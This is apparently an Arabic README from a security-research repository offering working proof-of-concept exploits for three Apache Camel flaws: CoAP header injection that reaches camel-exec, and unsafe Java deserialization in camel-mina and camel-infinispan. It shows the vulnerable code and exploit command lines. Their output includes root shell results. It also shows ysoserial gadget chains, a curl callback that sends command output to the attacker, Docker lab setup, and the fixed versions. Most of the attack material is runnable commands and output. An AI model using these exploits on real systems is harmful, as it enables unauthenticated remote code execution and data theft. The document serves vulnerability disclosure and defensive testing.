
يوفر استغلالات إثبات المفهوم العاملة وتحليلاً مفصلاً لثلاث ثغرات حرجة في Apache Camel، بما في ذلك حقن رؤوس CoAP وإلغاء التسلسل غير الآمن الذي يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد.
| CVE | المكوّن | النوع | CVSS | الحكم |
|---|
| CVE-2026-33453 | camel-coap | حقن في الترويسات → تنفيذ كود عن بُعد | 10.0 حرجة | قابل للاستغلال |
| CVE-2026-40473 | camel-mina | إلغاء تسلسل غير آمن → تنفيذ كود عن بُعد | 9.8 حرجة | قابل للاستغلال |
| CVE-2026-40858 | camel-infinispan | إلغاء تسلسل غير آمن | 8.8 عالية | قابل للاستغلال |
المكوّن: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (تحكم غير سليم في تعديل سمات الكائنات)
تم الإصلاح في: Camel 4.18.1 / 4.14.6
يقوم CamelCoapResource.handleRequest() بتعيين معاملات استعلام URI الخاصة بـ CoAP مباشرةً في ترويسات Camel Exchange عبر setHeader() دون أي HeaderFilterStrategy. يمتد CoAPEndpoint من DefaultEndpoint بدلاً من DefaultHeaderFilterStrategyEndpoint، لذا يمكن لأي عميل غير مصادق حقن الترويسات الداخلية ذات البادئة Camel*.
عندما يتم توجيه المسار إلى camel-exec، تقوم الترويسات CamelExecCommandExecutable و CamelExecCommandArgs التي يتحكم فيها المهاجم بتجاوز الأمر المُهيأ، مما يحقق تنفيذ كود عن بُعد قبل المصادقة عبر حزمة UDP واحدة.
// CamelCoapResource.java:103-109 — لا يوجد HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...
المكوّن: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (إلغاء تسلسل بيانات غير موثوقة)
تم الإصلاح في: Camel 4.18.2 / 4.14.6 / 4.20.0
يقوم MinaConverter.toObjectInput(IoBuffer) بإنشاء java.io.ObjectInputStream خام بدون ObjectInputFilter. عندما يتم تكوين نقطة نهاية MINA مع allowDefaultCodec=false، تصل بيانات TCP الخام كـ IoBuffer وتصل إلى محول أنواع Camel، الذي يستدعي هذه الطريقة — ملفوفًا بايتات الشبكة التي يتحكم فيها المهاجم في ObjectInputStream غير مُصفى.
// MinaConverter.java:60-63 — لا يوجد ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // بايتات يتحكم فيها المهاجم، بدون FILTER
}
مسار الهجوم: يستهدف الاستغلال نقطة نهاية MINA عبر TCP مع allowDefaultCodec=false (المنفذ 9879 في PoC). هذا يتجاوز طبقة الترميز في MINA بالكامل — حيث أن ObjectSerializationCodecFactory لديه قائمة سماح ClassNameMatcher خاصة به كانت ستحظر الفئات العشوائية. مع تعطيل الترميز، تتدفق البايتات الخام مباشرةً إلى MinaConverter.toObjectInput() التي تنشئ ObjectInputStream قياسيًا بدون أي تصفية للفئات.
سلسلة أدوات CommonsCollections6 (عبر ysoserial) تحقق تنفيذ أوامر عشوائية بصلاحيات الجذر. يتم إرسال مخرجات الأوامر عبر استدعاء curl إلى المهاجم.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (أداة CommonsCollections6)cd poc/
docker compose up -d --build
انتظر حتى يبدأ الحاوية، ثم تحقق:
docker logs vuln-camel-mina
يجب أن ترى:

[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...
المنفذ 9879 هو الهدف — يستخدم allowDefaultCodec=false، مما يعطل مرشح الترميز في MINA ويسمح لـ IoBuffer الخام بالوصول إلى MinaConverter.toObjectInput() غير المُصفى في Camel.
أولاً، تحقق من أن نقطة النهاية تقبل وتلغي تسلسل كائنات Java عشوائية بدون ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection
يرسل الفحص HashMap متسلسلًا. يقوم الخادم بإلغاء تسلسله عبر ObjectInputStream.readObject() بدون InvalidClassException — مما يؤكد عدم وجود تصفية للفئات.
مع توفر ysoserial، استغل إلغاء التسلسل غير المُصفى لتنفيذ أوامر عشوائية:
# Execute 'id' — returns uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Read files
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# System info
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
يقوم الاستغلال بإنشاء سلسلة أدوات CommonsCollections6، ويرسلها كبايتات خام إلى المنفذ 9879، ويلتقط مخرجات الأوامر عبر مستمع استدعاء curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target Target IP/hostname
port MINA TCP port (default: 9879)
command Command to execute (default: id)
--ysoserial Path to ysoserial.jar (auto-detected if not set)
--callback-host Host the container uses to reach you (default: host.docker.internal)
--gadget ysoserial gadget chain (default: auto — tries CC6, CC5, CC1)
--probe Probe mode only — confirm deserialization without RCE
--raw Send raw payload without MINA 4-byte frame (auto-enabled for port 9879)
ملاحظة: القيمة الافتراضية لـ --callback-host هي host.docker.internal (Docker Desktop). إذا كنت تعمل على Linux بدون Docker Desktop، استخدم --callback-host 172.17.0.1 أو عنوان جسر Docker الخاص بك.
cd poc/
docker compose down
المكوّن: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (إلغاء تسلسل بيانات غير موثوقة)
تم الإصلاح في: Camel 4.18.2 / 4.14.7 / 4.20.0
يقوم DefaultExchangeHolderUtils.deserialize(byte[]) بإنشاء ClassLoadingAwareObjectInputStream بدون ObjectInputFilter. يقوم DefaultExchangeHolderProtoAdapter بتوجيه بايتات ذاكرة التخزين المؤقت في Infinispan مباشرةً إلى هذه الطريقة. المهاجم الذي لديه صلاحيات كتابة في ذاكرة التخزين المؤقت (منفذ Hot Rod 11222 أو REST API) يحقن حمولة متسلسلة خبيثة يتم إلغاء تسلسلها عندما يجلب مستودع التجميع المفتاح.
هذا هو نفس نمط الثغرات CVE-2024-22369 و CVE-2024-23114 و CVE-2026-25747 — جميعها حالات غير مُصلحة من readObject() بدون ObjectInputFilter في مسارات إلغاء التسلسل في Camel.
// DefaultExchangeHolderUtils.java:46-53 — لا يوجد ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // يتحكم فيه المهاجم
}
}


cd poc/
docker compose up -d --build
يبدأ هذا:
vuln-camel-coap — نقطة نهاية CoAP على منفذ UDP 5683 مع مسار camel-execvuln-camel-mina — نقاط نهاية MINA عبر TCP على المنافذ 9877 (transferExchange)، 9878 (ObjectSerializationCodecFactory)، و 9879 (TCP خام — الهدف الأساسي للهجوم)infinispan — خادم Infinispan على المنفذ 11222vuln-camel-infinispan — مستودع تجميع Camel مدعوم بـ Infinispan# CVE-2026-33453: حقن في ترويسات CoAP → تنفيذ كود عن بُعد
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: إلغاء تسلسل غير آمن في MINA → تنفيذ كود عن بُعد (انظر التعليمات التفصيلية أعلاه)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: إلغاء تسلسل غير آمن في Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
تم إجراء هذا التقييم باستخدام إطار عمل RAPTOR للبحث الأمني المستقل:
camel-coap، camel-mina، camel-infinispan)/scan) — اكتشاف الثغرات تلقائيًا عبر جميع المكونات الثلاثة/understand --map) — رسم خريطة سطح الهجوم: نقاط الدخول، حدود الثقة، المصارف، تدفقات البيانات غير المُتحقق منها/validate) — خط أنابيب تحقق كامل من 8 مراحل (المراحل 0 → A → B → C → D → E → F → 1) يؤكد أن جميع النتائج الثلاث حقيقية وقابلة للوصول والاستغلال/exploit) — تطوير PoC عامل مع بيئة اختبار قائمة على Docker| CVE | إصدار الإصلاح | التغيير |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → يمتد من DefaultHeaderFilterStrategyEndpoint؛ CoAPComponent → ينفذ HeaderFilterStrategyComponent |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | إضافة ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") قبل readObject() |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | إضافة قائمة سماح ObjectInputFilter (بنفس النمط)؛ الرجوع إلى مرشح تسلسل JVM إذا تم تكوينه |
هذا البحث مخصص لاختبار الأمان المصرح به والأغراض التعليمية فقط. تم اختبار جميع الاستغلالات ضد حاويات Docker المبنية محليًا والتي تعمل ببرامج ضعيفة. قم بالترقية إلى الإصدارات المُصلحة المذكورة أعلاه.